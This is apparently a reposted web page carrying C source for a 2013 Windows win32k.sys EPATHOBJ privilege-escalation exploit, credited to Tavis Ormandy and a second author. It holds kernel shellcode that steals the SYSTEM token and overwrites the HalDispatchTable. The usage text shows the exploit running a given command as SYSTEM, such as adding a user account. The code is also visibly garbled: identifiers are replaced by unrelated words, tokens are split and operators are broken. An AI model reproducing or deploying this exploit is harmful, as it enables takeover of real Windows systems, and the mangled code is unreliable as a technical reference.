This vulnerability was discovered by Tavis Ormandy during stress testing. see: the code below the http://blog.cmpxchg8b.com/http://seclists.org/fulldisclosure/2013/May/118:
# Include <stdio. h> # include <STDARG. h> # include <stddef. h> # include <windows. h> // # include <ntstatus. h> # pragma comment (lib, "gdi32") # pragma comment (lib, "kernel32") # pragma comment (lib, "user32") # define MAX_POLYPOINTS (8192*3) # define MAX_REGIONS 8192 # define CYCLE_TIMEOUT 10000 # pragma comment (linker, "/SECTION :. text, ERW ") /// win32k! EPATHOBJ: pprFlattenRec uninitialized Next pointer testcase. /// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 // POINT Points [MAX_POLYPOINTS]; BYTE PointTypes [MAX_POLYPOINTS]; HRGN Regions [MAX_REGIONS]; ULONG NumRegion = 0; HANDLE Mutex; // Log levels. typedef enum {L_DEBUG, L_INFO, L_WARN, L_ERROR} LEVEL, * PLEVEL; VOID LogInit (); VOID LogRelase (); BOOL LogMessage (LEVEL Level LEVEL, PCHAR Format ,...); // C Opied from winddi. h from the DDK # define PD_BEGINSUBPATH 0x00000001 # define limit 0x00000002 # define PD_RESETSTYLE 0x00000004 # define PD_CLOSEFIGURE 0x00000008 # define PD_BEZIERS 0x00000010 # define limit 1 typedef struct _ POINTFIX {ULONG x; ULONG y;} POINTFIX, * PPOINTFIX; // Approximated from reverse engineering. typedef struct _ PATHRECORD {struct _ PATHRECORD * next; struct _ PATHREC ORD * prev; ULONG flags; ULONG count; POINTFIX points [4];} PATHRECORD, * PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord = {0}; PPATHRECORD ExploitRecordExit; typedef struct _ detail {HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileNam E; UCHAR FullPathName [256];} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; typedef struct _ RTL_PROCESS_MODULES {ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules [1];} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; typedef ULONG (_ stdcall * NtQueryIntervalProfile _) (ULONG, PULONG); typedef ULONG (_ stdcall * NtQuerySystemInformation _) (ULONG, PVOID, ULONG, PULON G); typedef ULONG (_ stdcall * NtAllocateVirtualMemory _) (HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG); typedef ULONG (_ stdcall * freentvirtualmemory _) (HANDLE, PVOID, PULONG, ULONG); NtQueryIntervalProfile _ NtQueryIntervalProfile; NtAllocateVirtualMemory _ NtAllocateVirtualMemory; NtQuerySystemInformation _ NtQuerySystemInformation; NtFreeVirtualMemory _ freentvirtualmemory; ULONG PsInitialSystemProces S, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable, FixAddress; void _ declspec (naked) ShellCode () {_ asm {pushad pushfd mov esi, metadata: lodsb cmp al, 8Dh; jnz FindTokenOffset mov edi, [esi + 1] mov esi, PsInitialSystemProcess mov esi, [esi] push fs: [124 h] mov eax, PsGetThreadProcess call eax add esi, edi push esi add edi, eax movsd; add token ref coun T. pop esi mov esi, [esi] and esi, 0xFFFFFFF8 lea eax, [esi-0x18] mov dword ptr [eax], 0x016B00B5; fix the haltable mov eax, WriteToHalDispatchTable mov ecx, fixAddress mov [ecx], 0xC3 mov dword ptr [eax], ecx popfd popad; set ret code for NtQueryIntervalProfile mov eax, [esp + 0xc] mov dword ptr [eax + 4], 1 mov dword ptr [eax + 8], 0xC0000018 xor eax, eax ret} dword winapi WatchdogThread (LPVOID Param Eter) {// This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. we need to do this. // LogMessage (L_INFO, "Watchdog thread % d waiting on Mutex", GetCurrentThreadId (); if (WaitForSingleObject (Mutex, CYCLE_TIMEOUT) = WAIT_TIMEOUT) {// It looks like the main thread is stuck in a call to FlattenPath (), // because the kernel is sp Inning in EPATHOBJ: bFlatten (). we can clean // up, and then patch the list to trigger our exploit. // while (NumRegion --) DeleteObject (Regions [NumRegion]); LogMessage (L_ERROR, "InterlockedExchange (0x % 08x, 0x % 08x);", & PathRecord-> next, & ExploitRecord); InterlockedExchange (PLONG) & PathRecord-> next, (LONG) & ExploitRecord);} else {LogMessage (L_ERROR, "Mutex object did not timeout, list not patched ") ;} Return 0;} void wellcome () {printf ("\ t \ tthe win32k. sys EPATHOBJ 0day exploit \ n "); printf ("************************************* * ***************************** \ n "); printf ("*** \ texploit by: <progmboy> <programmeboy@gmail.com> \ t *** \ n"); printf ("*** \ t0day finder: <Tavis Ormandy> <taviso@cmpxchg8b.com> \ t *** \ n "); printf (" *** \ ttested system: xp/2003/win7/2008 (* 32bit *) \ t *** \ n "); printf ("************* **************************************** * ************* \ N ");} void usage () {printf ("\ nusage: \ n <app> <cmd> <parameter> \ n"); printf ("example: \ napp.exe net \ "user 111 111/add \" ");} BOOL FindAFixAddress (ULONG NtoskrnlBase) {FixAddress = NtoskrnlBase + FIELD_OFFSET (IMAGE_DOS_HEADER, e_res2); LogMessage (L_INFO, "Get FixAddress --> 0x % 08x", FixAddress); return TRUE;} // 0x602464FF;/* jmp esp + 0x60 * // 0x51C Listen 6a;/* push 0; ret */DWORD CheckMagicDword () {OSVERSIONINFOEX OSVer; DWORD dwMagic = 0; OSVer. dwOSVersionInfoSize = sizeof (OSVERSIONINFOEX); if (GetVersionEx (OSVERSIONINFO *) & OSVer) {switch (OSVer. dwMajorVersion) {case 5: dwMagic = 0x602464FF; break; case 6: dwMagic = 0x642464FF; break; default: dwMagic = 0 ;}} return dwMagic;} int main (int argc, char ** argv) {HANDLE Thread; HDC Device; ULONG Siz E; ULONG PointNum; int nret = 0; DWORD MAGIC_DWORD = CheckMagicDword (); ULONG AllocSize = 0x1000, status, NtoskrnlBase; memory module; HMODULE ntoskrnl = NULL; DWORD dwFix; ULONG Address = MAGIC_DWORD & 0xFFFFF000; LONG ret; BOOL bRet = FALSE; # ifdef ENABLE_SWITCH_DESKTOP HDESK hDesk; # endif HMODULE ntdll = GetModuleHandle ("ntdll. dll "); wellcome (); if (argc <2) {usage (); return-1 ;} If (! MAGIC_DWORD) {LogMessage (L_ERROR, "unsupported system version \ n"); return-1;} LogInit (); NtQueryIntervalProfile = (NtQueryIntervalProfile _) GetProcAddress (ntdll, "NtQueryIntervalProfile "); ntAllocateVirtualMemory = (NtAllocateVirtualMemory _) GetProcAddress (ntdll, "NtAllocateVirtualMemory"); NtQuerySystemInformation = (NtQuerySystemInformation _) GetProcAddress (ntdll, "NtQuerySystemInformation "); NtFreeVirtualMemory = (NtFreeVirtualMemory _) GetProcAddress (ntdll, "NtFreeVirtualMemory"); if (! NtQueryIntervalProfile |! NtAllocateVirtualMemory |! NtQuerySystemInformation |! NtFreeVirtualMemory) {LogMessage (L_ERROR, "get function address error \ n"); LogRelase (); return-1 ;}/// try to allocate memory. // while (TRUE) {ret = NtAllocateVirtualMemory (HANDLE)-1, & Address, 0, & AllocSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (ret <0) {MEMORY_BASIC_INFORMATION meminfo; LogMessage (L_ERROR, "allocate memory error code 0x % 08x", ret); LogMessage (L_INFO, "try t O free memory "); if (VirtualQuery (LPVOID) Address, & meminfo, sizeof (meminfo) {LogMessage (L_INFO," meminfo state % d \ n ", meminfo. state, meminfo. protect);} ret = NtFreeVirtualMemory (HANDLE)-1, & Address, & AllocSize, MEM_RELEASE); if (ret <0) {LogMessage (L_ERROR, "free memory error code 0x % 08x", ret); LogRelase (); return-1 ;}} else {break ;}} /// get the kernel info // status = NtQuerySystem Information (11, & module, sizeof (RTL_PROCESS_MODULES), NULL); // SystemModuleInformation 11 if (status! = 0xC0000004) {LogMessage (L_ERROR, "NtQuerySystemInformation error code: 0x % 08x \ n", status); LogRelase (); return-1;} NtoskrnlBase = (ULONG) module. modules [0]. imageBase; // load ntoskrnl.exe // ntoskrnl = LoadLibraryA (LPCSTR) (module. modules [0]. fullPathName + module. modules [0]. offsetToFileName); if (ntoskrnl = NULL) {LogMessage (L_ERROR, "LoadLibraryA error code: 0x % 08x \ n", GetLastError ()); LogRelase (); return-1 ;}/// calculate the actual address // WriteToHalDispatchTable = (ULONG) GetProcAddress (ntoskrnl, "HalDispatchTable")-(ULONG) response + response + 4; PsInitialSystemProcess = (ULONG) GetProcAddress (ntoskrnl, "PsInitialSystemProcess")-(ULONG) response + response; response = (ULONG) GetProcAddress (ntoskrnl, "response ") -(ULONG) ntoskrnl + NtoskrnlBase; PsGetThre AdProcess = (ULONG) GetProcAddress (ntoskrnl, "PsGetThreadProcess")-(ULONG) ntoskrnl + NtoskrnlBase; if (! FindAFixAddress (NtoskrnlBase) {LogMessage (L_ERROR, "Can not Find A Fix Address \ n"); nret =-1; goto _ end ;} /// Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. // PathRecord = (PPATHRECORD) VirtualAlloc (NULL, sizeof (PATHRECORD), MEM_COMMIT | MEM_RESERVE, expiration); LogMessage (L_INFO, "Alllocated userspace PATHRECORD () % p", PathRecord ); // // Initialize with recognizable debugging values. // FillMemory (PathRecord, sizeof (PATHRECORD), 0xCC); PathRecord-> next = PathRecord; PathRecord-> prev = (PPATHRECORD) (0x42424242 ); /// You need the PD_BEZIERS flag to enter EPATHOBJ: pprFlattenRec () from // EPATHOBJ: bFlatten (). we don't set it so that we can trigger an infinite // loop in EPATHOBJ: bFlatten (). // PathRecord-> flags = 0; logmescript E (L_INFO, "-> next @ % p", PathRecord-> next); LogMessage (L_INFO, "-> prev @ % p", PathRecord-> prev ); logMessage (L_INFO, "-> flags @ % u", PathRecord-> flags); cursor = (PPATHRECORD) MAGIC_DWORD; ExploitRecordExit-> next = NULL; exploitRecordExit-> flags = PD_BEGINSUBPATH; ExploitRecordExit-> count = 0; ExploitRecord. next = (PPATHRECORD) MAGIC_DWORD; ExploitRecord. Prev = (PPATHRECORD) WriteToHalDispatchTable; ExploitRecord. flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord. count = 4; LogMessage (L_INFO, "Creating complex bezr path with % x", (ULONG) (PathRecord)> 4 ); /// Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. // for (PointNum = 0; PointNum <MAX_POLYPOINTS; PointNum ++) {Points [PointNum]. x = (ULONG) (Path Record)> 4; Points [PointNum]. y = (ULONG) (PathRecord)> 4; PointTypes [PointNum] = PT_BEZIERTO ;} /// Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly ). // # ifdef ENABLE_SWITCH_DESKTOP hDesk = CreateDesktop ("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); if (hDesk) {SetThreadDesktop (hDesk) ;}# endif wh Ile (TRUE) {BOOL bBreak = FALSE; Mutex = CreateMutex (NULL, TRUE, NULL); if (! Mutex) {LogMessage (L_INFO, "Allocated % u HRGN objects", NumRegion); nret =-1; goto _ end;} // Get a handle to this Desktop. // Device = GetDC (NULL); // Spawn a thread to cleanup // Thread = CreateThread (NULL, 0, WatchdogThread, NULL, 0, NULL ); logMessage (L_INFO, "start CreateRoundRectRgn"); // We need to cause a specific AllocObject () to fail to trigger the // exploitable condition. to d O this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. /// I don't use the simpler CreateRectRgn () because it leaks a GDI handle on // failure. seriously, do some damn QA Microsoft, wtf. // for (Size = 1 <26; Size> = 1) {while (TRUE) {HRGN hm = CreateRo UndRectRgn (0, 0, 1, Size, 1, 1); if (! Hm) {break;} if (NumRegion <MAX_REGIONS) {Regions [NumRegion] = hm; NumRegion ++;} else {NumRegion = 0 ;}} LogMessage (L_INFO, "Allocated % u HRGN objects", NumRegion); LogMessage (L_INFO, "Flattening curves... "); // Begin filling the free list with our points. // dwFix = * (PULONG) ShellCode; for (PointNum = MAX_POLYPOINTS; PointNum-= 3) {BeginPath (Device); PolyDraw (Device, Points, Po IntTypes, PointNum); EndPath (Device); FlattenPath (Device); // call the function to exploit. // ret = NtQueryIntervalProfile (2, (PULONG) ShellCode); // we will set the status with 0xC0000018 in ring0 shellcode. // if (* (PULONG) ShellCode = 0xC0000018) {bRet = TRUE; break;} /// fix // * (PULONG) ShellCode = dwFix; endPath (Device);} if (bRet) {LogMessage (L_INFO, "Exploit o K run command "); ShellExecute (NULL," open ", argv [1], argc> 2? Argv [2]: NULL, NULL, SW_SHOW); bBreak = TRUE;} else {LogMessage (L_INFO, "No luck, cleaning up. and try again .. ");} // If we reach here, we didn't trigger the condition. let the other thread know. // ReleaseMutex (Mutex); ReleaseDC (NULL, Device); WaitForSingleObject (Thread, INFINITE); if (bBreak) {break ;}__ end: LogRelase (); if (ntoskrnl) FreeLibrary (ntoskrnl); # ifdef ENABLE_SWITCH_DESKTOP if (HDesk) {CloseHandle (hDesk) ;}# endif return nret;} CRITICAL_SECTION gCSection; VOID LogInit () {InitializeCriticalSection (& gCSection);} VOID LogRelase () {DeleteCriticalSection (& gCSection) ;}/// A quick logging routine for debug messages. // BOOL LogMessage (LEVEL Level, PCHAR Format ,...) {CHAR Buffer [1024] = {0}; va_list Args; EnterCriticalSection (& gCSection); va_start (Args, Format); _ snprintf (Buffer, s Izeof (Buffer), Format, Args); va_end (Args); switch (Level) {case L_DEBUG: fprintf (stdout, "[?] % S \ n ", Buffer); break; case L_INFO: fprintf (stdout," [+] % s \ n ", Buffer); break; case L_WARN: fprintf (stderr, "[*] % s \ n", Buffer); break; case L_ERROR: fprintf (stderr, "[!] % S \ n ", Buffer); break;} fflush (stdout); fflush (stderr); LeaveCriticalSection (& gCSection); return TRUE ;}
Compilation Method: vc6 release. Thanks to Tavis Ormandy and its poc test on win7: